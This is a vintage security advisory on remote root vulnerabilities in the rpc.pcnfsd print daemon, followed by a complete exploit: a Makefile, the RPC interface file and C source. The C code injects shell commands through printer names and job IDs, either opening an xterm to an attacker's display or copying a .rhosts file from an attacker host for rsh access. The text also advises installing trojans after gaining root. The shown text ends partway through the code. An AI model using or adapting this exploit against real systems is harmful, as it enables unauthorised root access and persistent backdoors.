COMMAND

    rpc.pcnfsd

SYSTEMS AFFECTED

    AIX: 4.0, 4.1, 4.2, 4.3
    HP 9000 series 700/800
    Linux (if installed)
    OpenBSD
    OSF: 3.2
    Solaris: 2.3, 2.4, 2.5, 2.5.1, 2.6 (if additionally installed)
    SunOS: 4.1.3, 4.1.4 (if additionally installed)

PROBLEM

    Following  info  is  mosly  based  on  RSI  and Rhino9 advisories.
    PCNFSD  is  a  Remote  Procedure  Call  used by NFS clients.  This
    service  provides   username  and   password  authentication   for
    networked computers which have installed NFS client software.  Two
    vulnerabilities are covered in RSI advisory which both allow  root
    access to be compromised ('Bermuda Brian' found it).  Vulnerable
    functions are following:

    pr_init ()
    ----------
	This  function  will  create  a  spool directory for a client.
	When  passing  data  to  this  function,  it  calls  secure ()
	attempting  to  find  any  insecure  characters.   The list of
	characters that suspicious () checks for are:

	;|&<>`'!?*()[]^/

	By sending a "." as the printer name, rpc.pcnfsd will  attempt
	to make  that directory  and set  the mode  to 777.   By doing
	this,  an  attacker  sets  the  main  spool  directory used by
	rpc.pcnfsd to world writeable.   To exploit this, an  attacker
	could     locally     set     a     symbolic     link     from
	/var/spool/pcnfsd/printername to any other file on the system.
	Calling pr_init ()  with the name  of the symbolically  linked
	file will force  rpc.pcnfsd to follow  the symlink and  change
	the destination file to mode 777.

    run_ps630 ()
    ------------
	Upon system bootup, rpc.pcnfsd  is started from the  system rc
	files which  are executed  from the  / directory.   Because of
	this,  rpc.pcnfsd  will  attempt  to  function out of the root
	directory  (/).   When  run_ps630  ()  is  called,   it  calls
	suspicious () to check for any insecure characters.  The  list
	of characters that secure () checks for are:

	;|&<>`'!?*()[]^/

	If it detects that none of these characters are being used, it
	will call strcat ()  to append the data  to a buffer and  then
	run the data contained inside it with system ().  By sending a
	\ncommand\n as the  printer, "." as  the spool directory,  and
	setting your client options  to "d", arbitary commands  can be
	executed remotely on the server as root.

    NOTE: AIX is  not vulnerable to  problem with pr_init()  and HP is
    only vulnerable to pr_init() function in HP-UX 9.0, 10.0.

    Rhino9  Security  Advisory  pointed  out yet three vulnerabilities
    (Author - horizon).

    pr_cancel
    ---------
	As  pointed  out  in  the  Repsec  advisory,  the suspicious()
	function  does  not  check  for several shell meta-characters,
	which allows the newline,  and on some operating  systems, the
	'/' character to be passed.  This allows for the  exploitation
	of the run_ps630 system() call, as documented in the advisory.
	However,  this  oversight  in  the  suspicious() function also
	allows for an attacker to manipulate the pr_cancel()  function
	to gain access to the machine.  Specifically, an attacker will
	have to invoke  pr_cancel with a  valid printer name,  a valid
	user name,  and a  printer id  containing the  crafted exploit
	string.   The   printer  id   will  be   passed  through   the
	suspicious() function,  and then  run through  a shell  in the
	su_popen() function.  As far as obtaining a valid printer  id,
	some  implementations  unilaterally  accept  "lp"  as  a valid
	printer, but  this is  not a  concern because  the attack  can
	request a  list of  the valid  printers with  the pr_list  RPC
	call.  As the third vulnerability addresses, it is easy for an
	attacker to get a list of valid usernames out of rpc.pcnfsd.

    get_pr_status
    -------------
	The get_pr_status function  uses popen() directly,  as opposed
	to calling the su_popen() function. The OpenBSD implementation
	of rpc.pcnfsd does not check if the supplied printer name is a
	valid printer; it only checks if the name is suspicious. Thus,
	a printer name can be  provided such that remote commands  can
	be executed as root.   It is very important  to note that  the
	OpenBSD team is well aware of the problems with rpc.pcnfsd and
	that this  vulnerability is  in no  way an  indication of  any
	oversight  or  negligence  on  their  part.   The man page for
	rpc.pcnfsd on OpenBSD gives a  very strong warning not to  use
	the program, because of numerous known security flaws.   Their
	auditing efforts have wisely been placed in the more  critical
	programs.

    mapid / auth - All implementations are vulnerable
    ------------
	This is a more difficult problem in scope because it addresses
	the inherent functionality of the daemon. Any attacker can use
	the mapid() functionality of rpc.pcnfsd to retrieve a list  of
	the usernames on a system.  The far more serious hole  is that
	an  attacker  can  use  the  authentication  functionality  to
	attempt to guess  passwords. These password  guessing attempts
	are not logged in any  implementation we have looked at.   The
	only  logging  that  occurs  is  when the attacker succesfully
	guesses a password.   Upon this occurance,  a single entry  is
	placed in wtmp.  It is  easy to write a program to  attempt to
	brute force passwords, working from  a list.  Also, there  are
	no slowdowns  built into  the program  to prevent  rapid brute
	force attacks.  Some implementations  do not  allow logins  of
	UID's below a certain number.

    The pr_cancel  vulnerability will  allow a  remote user  to obtain
    non-root  access  to  most  machines  running rpc.pcnfsd.  Notable
    exceptions  are  NetBSD,  which  has  a  very  strict suspicious()
    function, and  later versions  of the  Solaris package,  which use
    single quotes  around the  arguments in  it's popens.   Also, some
    machines will allow  remote root access,  but most likely  none of
    the current implementations.

    The get_pr_status  vulnerability will  allow a  remote attacker to
    obtain  root  access  to  an  OpenBSD  machine  and possibly older
    machines running BSD based implementations of pcnfsd.

    The  mapid/auth  vulnerability  will  allow  an  attacker  to gain
    valuable information about a machine.  Furthermore, if the machine
    has unpassworded or weakly passworded accounts, they can be easily
    guessed, with very little logging of malicious action.

    See rpc.pcnfsd #4 for exploit.  Below is another exploit  Security
    Bugware had chance to see.  These files will follow:

        pcnfsd.x
        Makefile
        pcnfsd_remote.c

    One  will  need  to  setup  this  exploit.   This  sploit  can  be
    configured to do one of two things:

        - send you back an xterm
        - rcp a .rhosts and a file from somewhere

    Read the first couple of lines. You will need to define a host  to
    send the xterm back to, or define an account that you will use  to
    rcp from.  The best way to do option B is to pick a random account
    somewhere, put  in a  .rhosts and  a file  like blah.tar.gz.  Then
    configure the sploit to copy the .rhosts and the blah.tar.gz.  Run
    said  exploit,  rsh  in,  untar  bag  of  toys, grab root, install
    trojans,  log  out,  and  then  log  back  in as root (if you have
    permissions to that  in first place).   If your file  is big,  you
    might need to crank up the timeout value.

    Makefile:

    CFLAGS += -DUSER_CACHE -DWTMP -DUSE_YP
    CC=gcc
    PROG=	pcnfsd_remote
    SRCS=	pcnfsd_remote.c pcnfsd_clnt.c pcnfsd_xdr.c
    INCS=	pcnfsd.h
    #LIBS=	-lsocket -lnsl -lrpcsvc
    CLEANFILES=pcnfsd.h pcnfsd_xdr.c pcnfsd_clnt.c
    
    # Special rules for the generated C code...
    pcnfsd_remote: ${SRCS} ${INCS}
	    ${CC} ${CFLAGS} -o ${PROG} ${SRCS} ${LIBS}
    
    pcnfsd_clnt.c: pcnfsd.x
	    rpcgen -l ./pcnfsd.x -o $@
    
    pcnfsd_xdr.c: pcnfsd.x
	    rpcgen -c ./pcnfsd.x -o $@
    
    pcnfsd.h: pcnfsd.x
	    rpcgen -h ./pcnfsd.x -o $@
    
    clean:
	    rm -f ${CLEANFILES} ${PROG} *.o

    pcnfsd.x:

    /*	$NetBSD: pcnfsd.x,v 1.3 1997/10/25 13:45:56 lukem Exp $	*/
    
    /* The maximum number of bytes in a user name argument */
    const IDENTLEN = 32;
    /*  The maximum number of bytes in a password argument  */
    const PASSWORDLEN = 64;
    /*  The maximum number of bytes in a print client name argument  */
    const CLIENTLEN = 64;
    /*  The maximum number of bytes in a printer name argument  */
    const PRINTERNAMELEN = 64;
    /*  The maximum number of bytes in a print user name argument  */
    const USERNAMELEN = 64;
    /*  The maximum number of bytes in a print spool file name argument  */
    const SPOOLNAMELEN = 64;
    /*  The maximum number of bytes in a print options argument  */
    const OPTIONSLEN = 64;
    /*  The maximum number of bytes in a print spool directory path  */
    const SPOOLDIRLEN = 255;
    /*   The maximum number of secondary GIDs returned by a V2 AUTH  */
    const EXTRAGIDLEN = 16;
    /*   The  maximum number of bytes in a home directory spec  */
    const HOMEDIRLEN = 255;
    /*   The maximum number of bytes in a misc. comments string */
    const COMMENTLEN = 255;
    /*   The maximum number of bytes in a print job id */
    const PRINTJOBIDLEN = 255;
    /*   The maximum number of printers returned by a LIST operation */
    const PRLISTMAX = 32;
    /*   The maximum number of print jobs returned by a QUEUE operation */
    const PRQUEUEMAX = 128;
    /*   The maximum number of entries in the facilities list */
    const FACILITIESMAX = 32;
    /*   The maximum length of an operator message */
    const MESSAGELEN = 512;
    
    
    
    typedef string ident<IDENTLEN>;
    /*
    ** The type ident is used for passing an encoded user name for
    ** authentication. The server should decode the string by replacing each
    ** octet with the value formed by performing an exclusive-or of the octet
    ** value with the value 0x5b and and'ing the result with 0x7f.
    */
    
    typedef string message<MESSAGELEN>;
    /*
    ** The type message is used for passing an alert message to the
    ** system operator on the server. The text may include newlines.
    */
    
    typedef string password<PASSWORDLEN>;
    /*
    ** The type password is used for passing an encode password for
    ** authentication.  The server should decode the password as described
    ** above.
    */
    
    typedef string client<CLIENTLEN>;
    /*
    ** The type client is used for passing the hostname of a client for
    ** printing. The server may use this name in constructing the spool
    ** directory name.
    */
    
    typedef string printername<PRINTERNAMELEN>;
    /*
    ** The type printername is used for passing the name of a printer on which
    ** the client wishes to print.
    */
    
    typedef string username<USERNAMELEN>;
    /*
    ** The type username is used for passing the user name for a print job.
    ** The server may use this in any way it chooses: it may attempt to change
    ** the effective identity with which it is running to username or may
    ** simply arrange for the text to be printed on the banner page.
    */
    
    typedef string comment<COMMENTLEN>;
    /*
    ** The type comment is used to pass an uninterpreted text string which
    ** may be used by displayed to a human user or used for custom
    ** extensions to the PCNFSD service. If you elect to extend PCNFSD
    ** service in this way, please do so in a way which will avoid
    ** problems if your client attempts to interoperate with a server
    ** which does not support your extension. One way to do this is to
    ** use the
    */
    
    typedef string spoolname<SPOOLNAMELEN>;
    /*
    ** The type spoolname is used for passing the name of a print spool file
    ** (a simple filename not a pathname) within the spool directory.
    */
    
    typedef string printjobid<PRINTJOBIDLEN>;
    /*
    ** The type printjobid is used for passing the id of a print job.
    */
    
    typedef string homedir<OPTIONSLEN>;
    /*
    ** The type homedir is used to return the home directory for the user.
    ** If present, it should be in the form "hostname:path", where hostname
    ** and path are in a suitable form for communicating with the mount server.
    */
    
    typedef string options<OPTIONSLEN>;
    /*
    ** The type options is used for passing implementation-specific print
    ** control information.  The option string is a set of printable ASCII
    ** characters.  The first character should be ignored by the server; it is
    ** reserved for client use. The second character specifies the type of
    ** data in the print file.  The following types are defined (an
    ** implementation may define additional values):
    **
    **  p - PostScript data. The client will ensure that a valid
    **      PostScript header is included.
    **  d - Diablo 630 data.
    **  x - Generic printable ASCII text. The client will have filtered
    **      out all non-printable characters other than CR, LF, TAB,
    **      BS and VT.
    **  r - Raw print data. The client performs no filtering.
    **  u - User-defined. Reserved for custom extensions. A vanilla
    **      pcnfsd server will treat this as equivalent to "r"
    **
    ** If diablo data (type 'd') is specified, a formatting specification
    ** string will be appended. This has the form:
    ** 	ppnnnbbb
    **         pp
    ** Pitch - 10, 12 or 15.
    **           nnn
    ** The ``normal'' font to be used - encoded as follows:
    **             Courier                    crn
    **             Courier-Bold               crb
    **             Courier-Oblique            con
    **             Courier-BoldObliqu         cob
    **             Helvetica                  hrn
    **             Helvetica-Bold             hrb
    **             Helvetica-Oblique          hon
    **             Helvetica-BoldOblique      hob
    **             Times-Roman                trn
    **             Times-Bold                 trb
    **             Times-Italic               ton
    **             Times-BoldItalic           tob
    **              bbb
    ** The ``bold'' font to be used - encoded in the same way.  For example,
    ** the string ``nd10hrbcob'' specifies that the print data is in Diablo
    ** 630 format, it should be printed at 10 pitch, ``normal'' text should be
    ** printed in Helvetica-Bold, and ``bold'' text should be printed in
    ** Courier-BoldOblique.
    */
    
    enum arstat {
            AUTH_RES_OK = 0,
            AUTH_RES_FAKE = 1,
            AUTH_RES_FAIL = 2
    };
    /*
    ** The type arstat is returned by PCNFSD_AUTH. A value of AUTH_RES_OK
    ** indicates that the server was able to verify the ident and password
    ** successfully.AUTH_RES_FAIL is returned if a verification failure
    ** occurred. The value AUTH_RES_FAKE may be used if the server wishes to
    ** indicate that the verification failed, but that the server has
    ** synthesised acceptable values for uid and gid which the client may use
    ** if it wishes.
    */
    
    enum alrstat {
            ALERT_RES_OK = 0,
            ALERT_RES_FAIL = 1
    };
    /*
    ** The type alrstat is returned by PCNFSD_ALERT. A value of ALERT_RES_OK
    ** indicates that the server was able to notify the system operator
    ** successfully. ALERT_RES_FAIL is returned if a failure occurred
    */
    enum pirstat {
            PI_RES_OK = 0,
            PI_RES_NO_SUCH_PRINTER = 1,
            PI_RES_FAIL = 2
    };
    /*
    ** The type pirstat is returned by a number of print operations. PI_RES_OK
    ** indicates that the operation was performed successfully. PI_RES_FAIL
    ** indicates that the printer name was valid, but the operation could
    ** not be performed. PI_RES_NO_SUCH_PRINTER indicates that the printer
    ** name was not recognised.
    */
    
    enum pcrstat {
            PC_RES_OK = 0,
            PC_RES_NO_SUCH_PRINTER = 1,
            PC_RES_NO_SUCH_JOB = 2,
            PC_RES_NOT_OWNER = 3,
            PC_RES_FAIL = 4
    };
    /*
    ** The type pcrstat is returned by a CANCEL, REQUEUE, HOLD, or RELEASE
    ** print operation.
    ** PC_RES_OK indicates that the operation was performed successfully.
    ** PC_RES_NO_SUCH_PRINTER indicates that the printer name was not recognised.
    ** PC_RES_NO_SUCH_JOB means that the job does not exist, or is not
    ** associated with the specified printer.
    ** PC_RES_NOT_OWNER means that the user does not have permission to
    ** manipulate the job.
    ** PC_RES_FAIL means that the job could not be manipulated for an unknown
    ** reason.
    */
    
    
    enum psrstat {
            PS_RES_OK = 0,
            PS_RES_ALREADY = 1,
            PS_RES_NULL = 2,
            PS_RES_NO_FILE = 3,
            PS_RES_FAIL = 4
    };
    /*
    ** The type psrstat is returned by PCNFSD_PR_START. A value of PS_RES_OK
    ** indicates that the server has started printing the job. It is possible
    ** that the reply from a PCNFSD_PR_START call may be lost, in which case
    ** the client will repeat the call. If the spool file is still in
    ** existence, the server will return PS_RES_ALREADY indicating that it has
    ** already started printing. If the file cannot be found, PS_RES_NO_FILE
    ** is returned.  PS_RES_NULL indicates that the spool file was empty,
    ** while PS_RES_FAIL denotes a general failure.  PI_RES_FAIL is returned
    ** if spool directory could not be created. The value
    ** PI_RES_NO_SUCH_PRINTER indicates that the printer name was not
    ** recognised.
    */
    
    enum mapreq {
            MAP_REQ_UID = 0,
            MAP_REQ_GID = 1,
            MAP_REQ_UNAME = 2,
            MAP_REQ_GNAME = 3
    };
    /*
    ** The type mapreq identifies the type of a mapping request.
    ** MAP_REQ_UID requests that the server treat the value in the
    ** id field as a uid and return the corresponding username in name.
    ** MAP_REQ_GID requests that the server treat the value in the
    ** id field as a gid and return the corresponding groupname in name.
    ** MAP_REQ_UNAME requests that the server treat the value in the
    ** name field as a username and return the corresponding uid in id.
    ** MAP_REQ_GNAME requests that the server treat the value in the
    ** name field as a groupname and return the corresponding gid in id.
    */
    
    enum maprstat {
            MAP_RES_OK = 0,
            MAP_RES_UNKNOWN = 1,
            MAP_RES_DENIED = 2
    };
    /*
    ** The type maprstat indicates the success or failure of
    ** an individual mapping request.
    */
    
    /*
    **********************************************************
    ** Version 1 of the PCNFSD protocol.
    **********************************************************
    */
    struct auth_args {
            ident           id;
            password        pw;
    };
    struct auth_results {
            arstat          stat;
            unsigned int    uid;
            unsigned int    gid;
    };
    
    struct pr_init_args {
            client          system;
            printername     pn;
    };
    struct pr_init_results {
            pirstat         stat;
            spoolname       dir;
    };
    
    struct pr_start_args {
            client          system;
            printername     pn;
            username        user;
            spoolname       file;
            options         opts;
    };
    struct pr_start_results {
            psrstat         stat;
    };
    
    
    /*
    **********************************************************
    ** Version 2 of the PCNFSD protocol.
    **********************************************************
    */
    
    struct v2_info_args {
            comment         vers;
            comment         cm;
    };
    
    struct v2_info_results {
            comment         vers;
            comment         cm;
	    int             facilities<FACILITIESMAX>;
    };
    
    struct v2_pr_init_args {
            client          system;
            printername     pn;
            comment         cm;
    };
    struct v2_pr_init_results {
            pirstat         stat;
            spoolname       dir;
            comment         cm;
    };
    
    struct v2_pr_start_args {
            client          system;
            printername     pn;
            username        user;
            spoolname       file;
            options         opts;
	    int             copies;
            comment         cm;
    };
    struct v2_pr_start_results {
            psrstat         stat;
            printjobid      id;
            comment         cm;
    };
    
    
    
    typedef struct pr_list_item *pr_list;
    
    struct pr_list_item {
            printername    pn;
            printername    device;
            client         remhost; /* empty if local */
            comment        cm;
            pr_list        pr_next;
    };
    
    struct v2_pr_list_results {
            comment        cm;
            pr_list        printers;
    };
    
    struct v2_pr_queue_args {
            printername     pn;
            client          system;
            username        user;
            bool            just_mine;
            comment         cm;
    };
    
    typedef struct pr_queue_item *pr_queue;
    
    struct pr_queue_item {
            int            position;
            printjobid     id;
            comment        size;
            comment        status;
            client         system;
            username       user;
            spoolname      file;
            comment        cm;
            pr_queue       pr_next;
    };
    
    struct v2_pr_queue_results {
            pirstat        stat;
            comment        cm;
            bool           just_yours;
            int            qlen;
            int            qshown;
            pr_queue       jobs;
    };
    
    
    struct v2_pr_cancel_args {
            printername     pn;
            client          system;
            username        user;
            printjobid      id;
            comment         cm;
    };
    struct v2_pr_cancel_results {
            pcrstat        stat;
            comment        cm;
    };
    
    
    struct v2_pr_status_args {
            printername     pn;
            comment         cm;
    };
    struct v2_pr_status_results {
            pirstat        stat;
            bool           avail;
            bool           printing;
	    int            qlen;
            bool           needs_operator;
	    comment        status;
            comment        cm;
    };
    
    struct v2_pr_admin_args {
            client          system;
            username        user;
            printername     pn;
            comment         cm;
    };
    struct v2_pr_admin_results {
            pirstat         stat;
            comment         cm;
    };
    
    struct v2_pr_requeue_args {
            printername     pn;
            client          system;
            username        user;
            printjobid      id;
	    int             qpos;
            comment         cm;
    };
    
    struct v2_pr_requeue_results {
            pcrstat        stat;
            comment        cm;
    };
    
    struct v2_pr_hold_args {
            printername     pn;
            client          system;
            username        user;
            printjobid      id;
            comment         cm;
    };
    struct v2_pr_hold_results {
            pcrstat        stat;
            comment        cm;
    };
    
    struct v2_pr_release_args {
            printername     pn;
            client          system;
            username        user;
            printjobid      id;
            comment         cm;
    };
    struct v2_pr_release_results {
            pcrstat        stat;
            comment        cm;
    };
    
    
    typedef struct mapreq_arg_item *mapreq_arg;
    
    struct mapreq_arg_item {
	    mapreq           req;
            int              id;
            username         name;
            mapreq_arg       mapreq_next;
    };
    
    typedef struct mapreq_res_item *mapreq_res;
    
    struct mapreq_res_item {
	    mapreq           req;
	    maprstat         stat;
            int              id;
            username         name;
            mapreq_res       mapreq_next;
    };
    
    struct v2_mapid_args {
            comment         cm;
            mapreq_arg      req_list;
    };
    
    
    struct v2_mapid_results {
            comment         cm;
            mapreq_res      res_list;
    };
    
    struct v2_auth_args {
            client          system;
            ident           id;
            password        pw;
            comment         cm;
    };
    struct v2_auth_results {
            arstat          stat;
            unsigned int    uid;
            unsigned int    gid;
            unsigned int    gids<EXTRAGIDLEN>;
            homedir         home;
            int             def_umask;
            comment         cm;
    };
    
    struct v2_alert_args {
            client          system;
            printername     pn;
            username        user;
            message         msg;
    };
    struct v2_alert_results {
            alrstat          stat;
            comment         cm;
    };
    
    
    /*
    **********************************************************
    ** Protocol description for the PCNFSD program
    **********************************************************
    */
    /*
    ** Version 1 of the PCNFSD protocol.
    **
    ** -- PCNFSD_NULL() = 0
    **	Null procedure - standard for all RPC programs.
    **
    ** -- PCNFSD_AUTH() = 1
    **	Perform user authentication - map username, password into uid, gid.
    **
    ** -- PCNFSD_PR_INIT() = 2
    **	Prepare for remote printing: identify exporting spool directory.
    **
    ** -- PCNFSD_PR_START() = 3
    **	Submit a spooled print job for printing: the print data is
    **	in a file created in the spool directory.
    **
    ** Version 2 of the -- PCNFSD protocol.
    **
    ** -- PCNFSD2_NULL() = 0
    **	Null procedure - standard for all RPC programs.
    **
    ** -- PCNFSD2_INFO() = 1
    **	Determine which services are supported by this implementation
    **	of PCNFSD.
    **
    ** -- PCNFSD2_PR_INIT() = 2
    **	 Prepare for remote printing: identify exporting spool directory.
    **
    ** -- PCNFSD2_PR_START() = 3
    **	Submit a spooled print job for printing: the print data is
    **      in a file created in the spool directory.
    **
    ** -- PCNFSD2_PR_LIST() = 4
    **	List all printers known on the server.
    **
    ** -- PCNFSD2_PR_QUEUE() = 5
    **	List all or part of the queued jobs for a printer.
    **
    ** -- PCNFSD2_PR_STATUS() = 6
    **	Determine the status of a printer.
    **
    ** -- PCNFSD2_PR_CANCEL() = 7
    **	Cancel a print job.
    **
    ** -- PCNFSD2_PR_ADMIN() = 8
    **	Perform an implementation-dependent printer administration
    **	operation.
    **
    ** -- PCNFSD2_PR_REQUEUE() = 9
    **	Change the queue position of a previously-submitted print job.
    **
    ** -- PCNFSD2_PR_HOLD() = 10
    **	Place a "hold" on a previously-submitted print job. The job
    **	will remain in the queue, but will not be printed.
    **
    ** -- PCNFSD2_PR_RELEASE() = 11
    **	Release the "hold" on a previously-held print job.
    **
    ** -- PCNFSD2_MAPID() = 12
    **	Perform one or more translations between user and group
    **	names and IDs.
    **
    ** -- PCNFSD2_AUTH() = 13
    **	Perform user authentication - map username, password into uid, gid;
    **	may also return secondary gids, home directory, umask.
    **
    ** -- PCNFSD2_ALERT() = 14
    **	Send a message to the system operator.
    */
    program PCNFSDPROG {
            version PCNFSDVERS {
                    void             PCNFSD_NULL(void) = 0;
                    auth_results     PCNFSD_AUTH(auth_args) = 1;
                    pr_init_results  PCNFSD_PR_INIT(pr_init_args) = 2;
                    pr_start_results PCNFSD_PR_START(pr_start_args) = 3;
            } = 1;
    /*
    ** Version 2 of the PCNFSD protocol.
    */
            version PCNFSDV2 {
                    void                   PCNFSD2_NULL(void) = 0;
                    v2_info_results        PCNFSD2_INFO(v2_info_args) = 1;
                    v2_pr_init_results     PCNFSD2_PR_INIT(v2_pr_init_args) = 2;
                    v2_pr_start_results    PCNFSD2_PR_START(v2_pr_start_args) = 3;
                    v2_pr_list_results     PCNFSD2_PR_LIST(void) = 4;
                    v2_pr_queue_results    PCNFSD2_PR_QUEUE(v2_pr_queue_args) = 5;
                    v2_pr_status_results   PCNFSD2_PR_STATUS(v2_pr_status_args) = 6;
                    v2_pr_cancel_results   PCNFSD2_PR_CANCEL(v2_pr_cancel_args) = 7;
                    v2_pr_admin_results    PCNFSD2_PR_ADMIN(v2_pr_admin_args) = 8;
                    v2_pr_requeue_results  PCNFSD2_PR_REQUEUE(v2_pr_requeue_args) = 9;
                    v2_pr_hold_results     PCNFSD2_PR_HOLD(v2_pr_hold_args) = 10;
                    v2_pr_release_results  PCNFSD2_PR_RELEASE(v2_pr_release_args) = 11;
                    v2_mapid_results       PCNFSD2_MAPID(v2_mapid_args) = 12;
                    v2_auth_results        PCNFSD2_AUTH(v2_auth_args) = 13;
                    v2_alert_results       PCNFSD2_ALERT(v2_alert_args) = 14;
            } = 2;
    
    } = 150001;
    
    pcnfsd_remote.c:

    #include <stdio.h>
    #include <sys/types.h>
    #include <fcntl.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <errno.h>
    #include <rpc/rpc.h>
    #include "pcnfsd.h"
    
    /* 1 - xterm / 2 - rcp */
    #define METHOD 2
    
    #define XTERM "1.1.1.1:0"
    
    /* Note: some versions of rcp require that you use a hostname instead of ip */
    #define RCP "bob@shell.foobar.com"
    
    void get_attack(char *arch);
    void exploit1(void);
    void exploit2(void);
    int test_v2_stat(char *printer);
    int test_v2_cancel(char *printer,char *user_name, char *id);
    char *findprinter();
    char *finduser(int us);
    
    CLIENT *cl2;
    char *server;
    
    int attack;
    char *attack_string;
    char *user;
    
    int main(int argc, char *argv[])
    {
	    char *transport = "udp";
    
	    char *arch;
    
	    if (argc <2)
	    {
		    fprintf(stderr, "\nusage: %s server [arch] [user]\n\n",
			    argv[0]);
		    fprintf(stderr, "  arch can be: openbsd linux irix hpux sunos solaris sysv \n");
		    fprintf(stderr, "  write more and send them to me ! :> \n");
		    fprintf(stderr, "\n  You can specify a user with the third argument in case the sploit \n  picks a dumb one.\n\n");
		    exit(1);
	    }
    
	    if (argc>=3)
		    arch=argv[2];
	    else
		    arch="sysv";
    
	    server = argv[1];
    
	    cl2 = clnt_create(server, PCNFSDPROG, PCNFSDV2, transport);
	    if(cl2 == NULL)
	    {
		    clnt_pcreateerror(server);
		    exit(1);
	    }
    
	    if (argc==4)
		    user=argv[3];
    
	    get_attack(arch);
    
	    switch (attack)
	    {
		    case 1: exploit1();
			    break;
		    case 2: exploit2();
			    break;
	    }
    
	    if (METHOD==2)
		    printf("\nNow try :\nrsh -l %s %s /bin/sh -i\n",user,server);
    }
    
    void get_attack(char *arch)
    {
	    char *evil;
    
	    attack_string=malloc(1024);
	    evil=attack_string;
    
	    if (!strcmp(arch,"openbsd"))
	    {
		    attack=1;
		    user="root";
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd /usr/X11/bin\n");
			    strcat(evil,"./xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"cd /usr/bin\n");
			    sprintf(evil+strlen(evil),"./rcp %s:.rhosts ~root\n",RCP);
			    strcat(evil,"\n");
		    }
	    }
    
	    if (!strcmp(arch,"linux"))
	    {
		    attack=2;
    
    /* linux - uses cancel, gives you a user account on the machine. */
    
		    printf("Searching for a valid account to attack.\n");
		    if (!user)
		    user=finduser(1);
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd X11\ncd bin\n");
			    strcat(evil,"xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd usr\n");
			    strcat(evil,"cd bin\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\n");
		    }
	    }
    
	    if (!strcmp(arch,"irix"))
	    {
		    attack=2;
    
    /* irix - uses cancel, gives you a user account on the machine. */
    
		    printf("Searching for a valid account to attack.\n");
		    if (!user)
		    user=finduser(1);
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd bin\ncd X11\n");
			    strcat(evil,"xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"csh -c \"");
			    strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd bsd\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\"\n");
		    }
	    }
    
	    if (!strcmp(arch,"hpux"))
	    {
		    attack=2;
    
		    printf("Searching for a valid account to attack.\n");
		    if (!user)
		    user=finduser(1);
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd bin\ncd X11\n");
			    strcat(evil,"xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"csh -c \"");
			    strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd bsd\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\"\n");
		    }
	    }
    
	    if (!strcmp(arch,"sunos"))
	    {
		    attack=2;
    
    /* Sunos - uses cancel, gives you a user account on the machine. */
    /* binary looks vulnerable to the runps630 hole */
    
		    printf("Searching for a valid account to attack.\n");
		    if (!user)
		    user=finduser(1);
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd openwin\ncd bin\n");
			    strcat(evil,"xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"csh -c \"");
			    strcat(evil,"cd ..\ncd ..\ncd ..\ncd usr\ncd ucb\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\"\n");
		    }
	    }
    
	    if (!strcmp(arch,"solaris"))
	    {
		    attack=2;
    
    /* Solaris - uses cancel, gives you a user account on the machine. */
    /* older binary looks vulnerable to the runps630 hole */
    /* newest version of pcnfsd is fixed to all attacks I think */
    
		    printf("Searching for a valid account to attack.\n");
		    if (!user)
		    user=finduser(1);
		    printf("\tUsing user: %s\n",user);
    
		    if (METHOD==1)
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"cd usr\ncd openwin\ncd bin\n");
			    strcat(evil,"xterm -ut -d ");
			    strcat(evil,XTERM);
			    strcat(evil,"\n");
		    }
		    else
		    {
			    sprintf(evil,"\ncd ..\ncd ..\ncd ..\ncd ..\ncd bin\n");
			    strcat(evil,"PATH=.:$PATH\nexport PATH\n");
			    strcat(evil,"csh -c \"");
			    strcat(evil,"cd ..\ncd ..\ncd ..\ncd bin\n");
			    sprintf(evil+strlen(evil),"rcp %s:.rhosts ~%s\n",RCP,user);
			    strcat(evil,"\"\n");
		    }
	    }
    
	    if (!strcmp(arch,"sysv"))
	    {
